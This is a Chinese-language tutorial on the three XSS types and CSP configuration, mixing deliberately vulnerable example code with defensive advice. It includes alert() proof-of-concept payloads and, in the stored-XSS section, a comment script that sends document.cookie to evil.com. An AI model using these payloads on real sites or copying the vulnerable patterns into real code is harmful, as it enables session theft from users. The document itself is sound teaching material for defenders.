4、前端安全(XSS):反射型、存储型、DOM型XSS的原理与防御、CSP策略配置

聊到前端安全,XSS 绝对是绕不开的头号大敌。

我这些年做安全审计,十次里有八次的问题都跟 XSS 沾边。说白了,XSS 就是攻击者往你的页面里塞了一段恶意脚本,然后让浏览器去执行。你想想看,脚本能干什么?它能偷你的 Cookie、篡改页面内容、甚至模拟你的操作去发请求。

嗯,咱们今天就把 XSS 的三种形态掰开揉碎了讲清楚。

反射型 XSS(Reflected XSS)

这种 XSS 最「直来直去」。攻击者把恶意脚本藏在 URL 的参数里,然后诱导用户点击这个链接。服务端收到请求后,没做任何过滤,直接把参数里的脚本「反射」回页面里。

举个例子,一个搜索页面:

// 服务端代码(有漏洞)
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  res.send(`<h1>搜索结果:${keyword}</h1>`);
});

攻击者构造一个链接:

https://example.com/search?q=<script>alert('XSS')</script>

用户一点,脚本就执行了。我在项目中遇到过类似的情况,当时是一个老旧的搜索接口,直接把参数拼到了 HTML 里。修复起来其实很简单——对输出做 HTML 实体编码。

核心防御原则:「输入过滤 + 输出转义」。永远不要信任用户的输入,尤其是要拼接到 HTML 里的数据。

存储型 XSS(Stored XSS)

这个比反射型危险得多。恶意脚本被永久保存在服务端(比如数据库里),每个访问页面的用户都会中招。

典型的场景是评论区。攻击者发了一条评论:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

服务端把这条评论原封不动存进数据库。之后每个用户打开这个页面,脚本都会执行,Cookie 就被偷走了。

我记得有一次做渗透测试,发现一个论坛的「个人签名」字段存在存储型 XSS。管理员每次审核帖子都会触发脚本,攻击者直接拿到了管理员的会话。嗯,这个教训挺深刻的。

避坑指南:我曾经见过团队只在前端做过滤,后端直接存原始数据。这是大忌!前端过滤只是用户体验层面的,后端必须再做一次校验和转义。

DOM 型 XSS(DOM-based XSS)

这种 XSS 比较隐蔽。它不经过服务端,完全在浏览器端发生。攻击者利用前端 JavaScript 动态操作 DOM 时的漏洞,把恶意代码注入进去。

看个例子:

// 有漏洞的代码
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;

攻击者构造 URL:

https://example.com/#<img src=x onerror=alert(1)>

页面加载后,hash 值被直接塞进 innerHTML,图片加载失败触发 onerror 事件,脚本就执行了。

为什么会这样?因为 innerHTML 会解析 HTML 标签。正确的做法是用 textContent 或者 innerText,它们只处理纯文本。

个人习惯:我写前端代码时,只要涉及动态插入内容,一律优先用 textContent。如果必须用 innerHTML,那一定先用 DOMPurify 库做一遍清洗。

三种 XSS 的对比

类型 存储位置 触发方式 危害范围
反射型 URL 参数 用户点击恶意链接 单个用户
存储型 服务端数据库 访问被感染的页面 所有访问用户
DOM 型 浏览器内存 页面执行了恶意 JS 单个用户

CSP 策略配置:最后一道防线

就算代码里漏了过滤,CSP(内容安全策略)还能救你一命。CSP 告诉浏览器:「哪些来源的脚本可以执行,哪些不行。」

配置方式很简单,在 HTTP 响应头里加一行:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;

这条策略的意思是:

  • 所有资源默认只允许从本站加载
  • 脚本只允许从本站和指定的 CDN 加载

如果攻击者注入了内联脚本 <script>alert(1)</script>,浏览器会直接拒绝执行,因为 CSP 没允许内联脚本。

我建议的 CSP 配置模板:

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'nonce-随机值';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  object-src 'none';
  frame-ancestors 'none';

用 nonce 机制给每个合法的脚本一个随机令牌,攻击者猜不到这个值,内联脚本就注入不进去了。

注意:CSP 不是银弹。它只能限制脚本执行,不能阻止数据被窃取。而且配置太严格可能导致页面功能异常。我曾经见过一个团队把 CSP 配得太死,结果第三方支付回调全挂了。嗯,上线前一定要充分测试。

总结一下防御要点

  1. 输入过滤:后端对所有用户输入做校验,拒绝可疑字符
  2. 输出转义:根据上下文(HTML、JavaScript、CSS、URL)做对应的编码
  3. 使用安全 API:用 textContent 代替 innerHTML,用 setAttribute 代替直接操作属性
  4. 开启 CSP:配置严格的 Content-Security-Policy 头
  5. HttpOnly Cookie:敏感 Cookie 设置 HttpOnly 标志,防止被脚本读取

你想想看,只要把这几点做到位,XSS 基本就无机可乘了。我这些年做安全加固,最深的体会就是:安全不是某个点的防御,而是一条完整的链路。前端、后端、网络层,每一环都得守住。